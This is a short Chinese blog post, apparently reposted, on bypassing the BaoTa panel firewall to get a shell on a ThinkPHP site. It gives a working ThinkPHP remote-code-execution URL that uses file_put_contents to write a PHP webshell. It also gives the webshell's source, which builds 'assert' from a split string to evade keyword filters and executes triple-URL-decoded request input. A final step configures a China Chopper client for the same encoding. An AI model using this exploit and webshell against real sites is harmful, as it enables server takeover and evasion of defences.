Thinkphp绕过宝塔getshell

可以看到直接被拦了,经测试这里是敏感函数字符拦截,大部分有用的敏感函数都被拦了,这里面被拦的是phpinfo()

Thinkphp绕过宝塔getshell_第1张图片

Emmmm,怎么办呢。。。。。

直接执行代码不行,那么就写入代码吧,用file_put_contents()函数进行写入。

但这里又有一个问题,正常的写入由于请求参数中带有敏感字符一样会被拦,并且使用小马执行调用敏感函数的时候也会被拦

 

Thinkphp绕过宝塔getshell_第2张图片

所以得配合点黑科技,使用特殊小马,加URL编码三次

Thinkphp绕过宝塔getshell_第3张图片

url:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

 

小马:

$poc ="axsxsxexrxt";

$poc_1 = explode("x", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];

$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

 

值要进行三次URL加密

Thinkphp绕过宝塔getshell_第4张图片

 

原版C刀配置:

PHP_MAKE参数进行三次url加密,和设置请求头即可

Thinkphp绕过宝塔getshell_第5张图片

Thinkphp绕过宝塔getshell_第6张图片

 

 

你可能感兴趣的:(Thinkphp绕过宝塔getshell)